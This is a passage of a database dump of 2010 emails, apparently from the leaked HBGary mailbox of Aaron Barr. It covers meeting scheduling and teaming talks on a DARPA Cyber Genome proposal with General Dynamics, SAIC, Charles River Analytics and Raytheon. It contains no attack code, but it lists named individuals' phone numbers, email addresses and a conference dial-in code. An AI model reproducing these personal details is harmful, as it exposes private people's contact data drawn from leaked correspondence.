Programs\r\nPh:\r\n513-881-3591\r\nCell:\r\n513-706-4848\r\nFax:\r\n513-881-3877 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12458,'aaron_hbgary_com/12458.html'),(2629,'2010-02-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001221.M850924P3547Q2629.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome 	BAA','Chris,What time did we agree upon today?AaronFrom my iPhoneOn Feb 12, 2010, at 4:46 PM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\nAaron,My last meeting is running late.  I will call as soon as I can, but this may be closer to 6:00 pm.What is your schedule like for a follow up technical interchange meeting on Monday?  Would 2:30 PM work?\r\nChris \r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Starr, Christopher H.\r\nSent: Fri Feb 12 14:57:44 2010Subject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\n5pm works.ThanksFrom my iPhoneOn Feb 12, 2010, at 2:41 PM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\n\r\nAaron,Can we talk at 5 pm? If I am available earlier I will call your cell phone.Chris\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Starr, Christopher H.\r\nSent: Fri Feb 12 14:07:50 2010Subject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\nGot a sec I can call?From my iPhoneOn Feb 12, 2010, at 12:51 PM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nJust got your message.  We will be having our telecon to discuss our own internal ideas and we can bring you in for the Monday follow up.  If you can dial in, we will be on, but I understand you may not be able to dial in today.\r\n\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Starr, Christopher H.\r\nSent: Fri Feb 12 12:44:57 2010\r\nSubject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\nChris my wife is stuck in a snow bank and I have to go get her and the\r\nkids.  Is it alright to postpone until Monday?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 12, 2010, at 2:07 AM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com\r\n\r\n\r\n &gt; wrote:\r\n\r\n&gt; &lt;meeting.ics&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9814,'aaron_hbgary_com/9814.html'),(2630,'2010-02-15','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001222.M162022P3547Q2630.eml','aaron@hbgary.com','Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA','\r\nAaron,Are you and Greg available at 2:30 pm today?The dial in will be866-765-5631, code 5057292#Chris\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Starr, Christopher H.Sent: Mon Feb 15 09:53:23 2010Subject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\nChris,What time did we agree upon today?AaronFrom my iPhoneOn Feb 12, 2010, at 4:46 PM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\nAaron,My last meeting is running late.  I will call as soon as I can, but this may be closer to 6:00 pm.What is your schedule like for a follow up technical interchange meeting on Monday?  Would 2:30 PM work?\r\nChris \r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Starr, Christopher H.\r\nSent: Fri Feb 12 14:57:44 2010Subject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\n5pm works.ThanksFrom my iPhoneOn Feb 12, 2010, at 2:41 PM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\n\r\nAaron,Can we talk at 5 pm? If I am available earlier I will call your cell phone.Chris\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Starr, Christopher H.\r\nSent: Fri Feb 12 14:07:50 2010Subject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\nGot a sec I can call?From my iPhoneOn Feb 12, 2010, at 12:51 PM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nJust got your message.  We will be having our telecon to discuss our own internal ideas and we can bring you in for the Monday follow up.  If you can dial in, we will be on, but I understand you may not be able to dial in today.\r\n\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Starr, Christopher H.\r\nSent: Fri Feb 12 12:44:57 2010\r\nSubject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\nChris my wife is stuck in a snow bank and I have to go get her and the\r\nkids.  Is it alright to postpone until Monday?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 12, 2010, at 2:07 AM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com\r\n\r\n\r\n &gt; wrote:\r\n\r\n&gt; &lt;meeting.ics&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7082,'aaron_hbgary_com/7082.html'),(2631,'2010-02-15','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001222.M366261P3547Q2631.eml','aaron@hbgary.com,\"Gibbs, Kevin (Xetron)\" <Kevin.Gibbs@ngc.com>,aaron@hbgary.com','Thursday','\r\n\r\n\r\n\r\n\r\nThursday\r\n\r\n\r\n\r\n\r\nCqn you guys bring the stuff from sacramento with you for thursday?\r\n\r\n\r\n\r\n',15186,'aaron_hbgary_com/15186.html'),(2632,'2010-02-15','\"Leslie Kain\" <lkain@cra.com>','/aaron@hbgary.com/new/1297001222.M559812P3547Q2632.eml','aaron@hbgary.com,ted@hbgary.com','Cyber Genome','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWe were disappointed that the weather cancelled both the Cyber Genome as well as CND/IA\r\nEnabling Capability Industry Days.\r\n\r\nNevertheless, we are moving forward by\r\nidentifying qualified teammates.\r\n\r\n&nbsp;\r\n\r\nCharles River&#8217;s primary focus is not cyber. &nbsp;However, we do have\r\nseveral cyber programs, in which our core capabilities &#8211; machine\r\nreasoning/learning, predictive analytics, COA generation, sensor\r\nprocessing/exploitation, cognitive human interfaces, social/behavioral\r\nmodeling, etc. &#8211; have been applied to great effect.\r\n\r\n&sect;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe have a SBIR program with Mike Van Putte, focused on trust in\r\nnetworks\r\n\r\n&sect;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe have a program with AFRL that focuses specifically on detecting\r\ninsider threats, and aligns with 1.1.3.2 of the Genome BAA (Cyber Anthropology\r\nand Sociology). We are using techniques rooted in anthropology and sociology to\r\ndo our analysis of e-mail content for insider threat detection; we identify potential\r\ninsider threats by applying social network analysis in combination with cyber\r\nnetwork analysis, so you can identify all vectors of information flow, because\r\nanalyzing each network independently is often insufficient. &nbsp;\r\n\r\n&sect;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe have another program with AFRL, which aligns with 1.1.3.3 of\r\nthe BAA (Cyber Physiology).&nbsp; In that program, we are applying functional\r\nlinguistic techniques so that we can understand the function of the code (how\r\nit works), not just its structure (what it looks like). Functional linguistics\r\nis often described as being analogous to physiology while traditional\r\nlinguistics is analogous to anatomy. Understanding the function of malicious\r\ncode not only allows us to infer effective countermeasures, it also allows us\r\nto recognize attacks that we may not have seen before&#8212;attacks that have\r\nthe same function, but not necessarily the same structure, as previously\r\nobserved attacks. \r\n\r\n&sect;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe wrote a paper for DARPA&#8217;s LANA RFI [which got us an\r\ninvite to Amy Vanderbilt&#8217;s workshop] focused on some of the attribution\r\nof users to digital artifacts &#8211; how does one know who a user really is?\r\nYou cannot rely on the user account for an insider threat. One way to identify\r\na user&#8217;s true identity is to characterize the user by behavioral cues\r\n(similar to characterizing digital artifacts) such as typical event sequences\r\nin a user account to provide a behavioral fingerprint. If Joe logs in as\r\nCharlie but doesn&#8217;t automatically decrypt Charlie&#8217;s encrypted\r\ndrive, then that&#8217;s an immediate red flag that it&#8217;s not Charlie.\r\n\r\n&sect;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe have another AFRL program that analyzes system behavior\r\nparameters to identify malware by characterizing the behavior of digital\r\nartifacts as they affect the system. &nbsp;This program is particularly focused\r\non interactions between applications and could be used to identify malware with\r\nmultiple payloads (i.e., individually harmless but together they do bad stuff).\r\n\r\n&sect;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe have a DARPA program that uses affect to provide system\r\ndefenses, which could be applied effectively to Genome. \r\n\r\n&sect;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThe Genome BAA seems to emphasize communication; computational\r\nmodels of communication based in anthropology, sociology, and more specifically\r\nsociolinguistics, are the research focus of one of our PhDs.\r\n\r\n&sect;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe have several other cyber programs in which we provide training\r\ntools. &nbsp;\r\n\r\n&nbsp;\r\n\r\nPlease let us know when would be a good\r\ntime to discuss.\r\n\r\nThanks/regards,\r\n\r\n&nbsp;\r\n\r\nLeslie Kain\r\nVice President, Strategic Programs\r\nCharles River Analytics Inc. \r\nNational Capital Region Office\r\n202-997-6108\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1200,'aaron_hbgary_com/1200.html'),(2633,'2010-02-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001222.M774952P3547Q2633.eml','\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>','Re: Mtg this am','Hi mike,What building are you in?AaronFrom my iPhoneOn Feb 15, 2010, at 7:54 AM, &quot;Mulville, Michael E.&quot; &lt;MICHAEL.E.MULVILLE@saic.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron – \r\n\r\n \r\n\r\nI’m going to have to ask that we cancel our mtg this\r\nam.  My car won’t start this morning for some reason, and I have to the\r\nthe kids to school, etc.\r\n\r\n \r\n\r\nLets find another time.\r\n\r\n \r\n\r\nThx - Mike\r\n\r\n \r\n\r\n \r\n\r\nMike\r\nMulville | CTO, CYBER Programs |\r\n\r\nSAIC | VP - Cyber PMO | MulvilleM@saic.com\r\n\r\n\r\n(: 703-676-8381 Office | 703-622-9121\r\nBlackberry |  \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9178,'aaron_hbgary_com/9178.html'),(2634,'2010-02-15','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001222.M963438P3547Q2634.eml','\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>,\"Harbison, Michael J.\" <Michael.Harbison@gd-ais.com>,\"Rodriguez, Harold\" <Harold.Rodriguez@gd-ais.com>,\"Raygoza, Daniel\" <Daniel.Raygoza@gd-ais.com>,\"Bojaxhi, Hermes\" <Hermes.Bojaxhi@gd-ais.com>,\"Lotas, Michael S.\" <Michael.Lotas@gd-ais.com>,\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>,\"Jaeger, James A.\" <jim.jaeger@gd-ais.com>,\"Wenthold, Russell L.\" <russ.wenthold@gd-ais.com>,\"Aaron Barr (HBGary)\" <aaron@hbgary.com>,\"Ted Vera (HBGary)\" <ted@hbgary.com>,\"Rich Cummings (HBGary)\" <rich@hbgary.com>,\"Bob Slapnik (HBGary)\" <bob@hbgary.com>','GD/HBGary: technical interchange: RE: DARPA Cyber Genome BAA','\r\n\r\n\r\n\r\n\r\nGD/HBGary: technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\n\r\n\r\n\r\nWhen: Monday, February 15, 2010 2:30 PM-3:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 866-765-5631, code 5057292#\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nGD &amp; HBGary: technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\n866-765-5631, code 5057292#\r\n\r\n\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Technical interchange between HBGary and GD on innovative technical ideas for the DARPA Cyber Genome BAA\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; We will also touch on\r\n\r\no&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; GD / HBGary teaming approach\r\n\r\n&#167;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Who primes what\r\n\r\n&#167;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Templates for establishing teaming agreements\r\n\r\no&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Customer and competitive intelligence\r\n\r\n\r\n\r\nQuestions? Contact:\r\n\r\nChris Starr, 571-216-6140, Chris.Starr@gd-ais.com\r\n\r\n\r\n\r\n\r\n',3613,'aaron_hbgary_com/3613.html'),(2635,'2010-02-15','\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>','/aaron@hbgary.com/new/1297001223.M314857P3547Q2635.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Mtg this am','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron &#8211; \r\n\r\n&nbsp;\r\n\r\nSaic\r\n\r\n1710 Saic Dr.\r\n\r\nMcLean, Va 22102.\r\n\r\n&nbsp;\r\n\r\nOnce you get into the Lobby &#8211; ask for me &#8211; and they&#8217;ll\r\ncall me down.\r\n\r\n&nbsp;\r\n\r\nI&#8217;m in Tower 1.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nMike\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 15, 2010 10:59 AM\r\nTo: Mulville, Michael E.\r\nSubject: Re: Mtg this am\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHi mike,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhat building are you in?\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 15, 2010, at 7:54 AM, &quot;Mulville, Michael E.&quot; &lt;MICHAEL.E.MULVILLE@saic.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n&#8211; \r\n\r\n&nbsp;\r\n\r\nI&#8217;m\r\ngoing to have to ask that we cancel our mtg this am.&nbsp; My car won&#8217;t\r\nstart this morning for some reason, and I have to the the kids to school, etc.\r\n\r\n&nbsp;\r\n\r\nLets\r\nfind another time.\r\n\r\n&nbsp;\r\n\r\nThx\r\n- Mike\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nMike Mulville |&nbsp;CTO, CYBER\r\nPrograms&nbsp;|\r\n\r\nSAIC | VP\r\n- Cyber PMO | MulvilleM@saic.com\r\n\r\n(:&nbsp;703-676-8381\r\nOffice |&nbsp;703-622-9121 Blackberry&nbsp;| &nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7492,'aaron_hbgary_com/7492.html'),(2636,'2010-02-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001223.M838810P3547Q2636.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome 	BAA','I will be on the phone at 230.  Greg won&#39;t be able to make it.AaronFrom my iPhoneOn Feb 15, 2010, at 10:01 AM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\nAaron,Are you and Greg available at 2:30 pm today?The dial in will be866-765-5631, code 5057292#Chris\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Starr, Christopher H.\r\nSent: Mon Feb 15 09:53:23 2010Subject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\nChris,What time did we agree upon today?AaronFrom my iPhoneOn Feb 12, 2010, at 4:46 PM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\n\r\nAaron,My last meeting is running late.  I will call as soon as I can, but this may be closer to 6:00 pm.What is your schedule like for a follow up technical interchange meeting on Monday?  Would 2:30 PM work?\r\n\r\nChris \r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Starr, Christopher H.\r\nSent: Fri Feb 12 14:57:44 2010Subject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\n5pm works.ThanksFrom my iPhoneOn Feb 12, 2010, at 2:41 PM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\nAaron,Can we talk at 5 pm? If I am available earlier I will call your cell phone.Chris\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Starr, Christopher H.\r\nSent: Fri Feb 12 14:07:50 2010Subject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\nGot a sec I can call?From my iPhoneOn Feb 12, 2010, at 12:51 PM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nJust got your message.  We will be having our telecon to discuss our own internal ideas and we can bring you in for the Monday follow up.  If you can dial in, we will be on, but I understand you may not be able to dial in today.\r\n\r\n\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Starr, Christopher H.\r\nSent: Fri Feb 12 12:44:57 2010\r\nSubject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\nChris my wife is stuck in a snow bank and I have to go get her and the\r\nkids.  Is it alright to postpone until Monday?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 12, 2010, at 2:07 AM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com\r\n\r\n\r\n\r\n &gt; wrote:\r\n\r\n&gt; &lt;meeting.ics&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3598,'aaron_hbgary_com/3598.html'),(2637,'2010-02-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001224.M276146P3547Q2638.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome 	BAA','3 or 5pm is good.  I don&#39;t think I cam get Greg all day though.  I think we can have a productive meeting though.  We can get him in on the next one.  I have a 2pm mtg so this will give me some more room thanks.\r\nAaronFrom my iPhoneOn Feb 15, 2010, at 11:22 AM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\nAaron,How about 3 pm or 5 pm today?Chris\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Starr, Christopher H.\r\nSent: Mon Feb 15 11:05:31 2010Subject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\nI will be on the phone at 230.  Greg won&#39;t be able to make it.AaronFrom my iPhoneOn Feb 15, 2010, at 10:01 AM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\n\r\nAaron,Are you and Greg available at 2:30 pm today?The dial in will be866-765-5631, code 5057292#Chris\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Starr, Christopher H.\r\nSent: Mon Feb 15 09:53:23 2010Subject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\nChris,What time did we agree upon today?AaronFrom my iPhoneOn Feb 12, 2010, at 4:46 PM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\nAaron,My last meeting is running late.  I will call as soon as I can, but this may be closer to 6:00 pm.What is your schedule like for a follow up technical interchange meeting on Monday?  Would 2:30 PM work?\r\n\r\n\r\nChris \r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Starr, Christopher H.\r\nSent: Fri Feb 12 14:57:44 2010Subject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\n5pm works.ThanksFrom my iPhoneOn Feb 12, 2010, at 2:41 PM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron,Can we talk at 5 pm? If I am available earlier I will call your cell phone.Chris\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Starr, Christopher H.\r\nSent: Fri Feb 12 14:07:50 2010Subject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\nGot a sec I can call?From my iPhoneOn Feb 12, 2010, at 12:51 PM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nJust got your message.  We will be having our telecon to discuss our own internal ideas and we can bring you in for the Monday follow up.  If you can dial in, we will be on, but I understand you may not be able to dial in today.\r\n\r\n\r\n\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nTo: Starr, Christopher H.\r\nSent: Fri Feb 12 12:44:57 2010\r\nSubject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\nChris my wife is stuck in a snow bank and I have to go get her and the\r\nkids.  Is it alright to postpone until Monday?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 12, 2010, at 2:07 AM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com\r\n\r\n\r\n\r\n\r\n &gt; wrote:\r\n\r\n&gt; &lt;meeting.ics&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6303,'aaron_hbgary_com/6303.html'),(2638,'2010-02-15','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001224.M36353P3547Q2637.eml','aaron@hbgary.com','Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA','\r\nAaron,How about 3 pm or 5 pm today?Chris\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Starr, Christopher H.Sent: Mon Feb 15 11:05:31 2010Subject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\nI will be on the phone at 230.  Greg won&#39;t be able to make it.AaronFrom my iPhoneOn Feb 15, 2010, at 10:01 AM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\nAaron,Are you and Greg available at 2:30 pm today?The dial in will be866-765-5631, code 5057292#Chris\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Starr, Christopher H.\r\nSent: Mon Feb 15 09:53:23 2010Subject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\nChris,What time did we agree upon today?AaronFrom my iPhoneOn Feb 12, 2010, at 4:46 PM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\n\r\nAaron,My last meeting is running late.  I will call as soon as I can, but this may be closer to 6:00 pm.What is your schedule like for a follow up technical interchange meeting on Monday?  Would 2:30 PM work?\r\n\r\nChris \r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Starr, Christopher H.\r\nSent: Fri Feb 12 14:57:44 2010Subject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\n5pm works.ThanksFrom my iPhoneOn Feb 12, 2010, at 2:41 PM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\nAaron,Can we talk at 5 pm? If I am available earlier I will call your cell phone.Chris\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Starr, Christopher H.\r\nSent: Fri Feb 12 14:07:50 2010Subject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\nGot a sec I can call?From my iPhoneOn Feb 12, 2010, at 12:51 PM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nJust got your message.  We will be having our telecon to discuss our own internal ideas and we can bring you in for the Monday follow up.  If you can dial in, we will be on, but I understand you may not be able to dial in today.\r\n\r\n\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Starr, Christopher H.\r\nSent: Fri Feb 12 12:44:57 2010\r\nSubject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\nChris my wife is stuck in a snow bank and I have to go get her and the\r\nkids.  Is it alright to postpone until Monday?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 12, 2010, at 2:07 AM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com\r\n\r\n\r\n\r\n &gt; wrote:\r\n\r\n&gt; &lt;meeting.ics&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7921,'aaron_hbgary_com/7921.html'),(2639,'2010-02-15','\"Shane Powell\" <Shane_Powell@raytheon.com>','/aaron@hbgary.com/new/1297001224.M475339P3547Q2639.eml','aaron@hbgary.com','Raytheon R&D with HBGary Support','Aaron,\r\n\r\nYour call today was greatly appreciated.\r\n\r\nI believe we have the right mix of engineers\r\nin house here at Largo to implement the approach I described, and are at\r\nthe point where we need to land IRAD or CRAD dollars to develop the solution.\r\n\r\nPlease let me know when a convenient\r\ntime to hold a telecon will be, and I\r\nwill pull Ricardo Rodriguez in to discuss the technical approach in greater\r\ndetail.\r\n\r\nWhile the ONR and SPAWAR BAA\'s and IRAD proposals\r\nare ready for release in the near term, I hope to kick this proposal out\r\nthrough avenues to other agencies as well.\r\nThanks,\r\nShane Powell, CISSP-ISSEP\r\nPrincipal Multi-Discipline Engineer\r\nCyber Defense Systems\r\nRaytheon Network Centric Systems\r\n\r\n727.302.4873 office\r\n813.528.6614 cell \r\nshane_powell@raytheon.com\r\n\r\n\r\n&nbsp;',12880,'aaron_hbgary_com/12880.html'),(2640,'2010-02-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001224.M736635P3547Q2640.eml','\"Shows, Bob (IS)\" <rj.shows@ngc.com>,\"Shows, Bob (IS)\" <rj.shows@ngc.com>','Re: 624th Ops Center--Next Steps','Hi Bob and Mike,I am an optimist and like to spin things in the positive but I think it is legitimate to say I can help you more running a small innovative company than I could as a technical director in Northrop. &nbsp;I was too mired in meetings and discussions to really focus on developing and delivering discriminating solutions. &nbsp;While to some degree I offer my services to the highest bidder, I like to work with people that I know and trust.I think I understand the approach to making advances in cybersecurity. &nbsp;The first step is improving cyber threat intelligence. &nbsp;There isn\'t a magic algorithm or integration story that makes this happen. &nbsp;It involves bringing the right data and the right people into a room and maturing our understanding of the threats through maturing models. &nbsp;This report represents our contribution to this as a first step. &nbsp;I am hearing from people this is the most complete report on the aurora operation out there (if your not aware the aurora operation was the attack on google and 33 other companies including Northrop). &nbsp;It is because we tried to deal with the breadth of the threat; intent, actors, communications, vehicles, etc. &nbsp;This is only a small step in what needs to happen. &nbsp;I have identified a handful of companies like mine that represent the best in a particular area of intelligence; host, network, visualization, external networks. &nbsp;And I, working with Xetron, am bringing this together in a complete package to develop a threat intelligence center capability to offer the government. &nbsp;This capability will range from a full up threat operations center fully staffed to 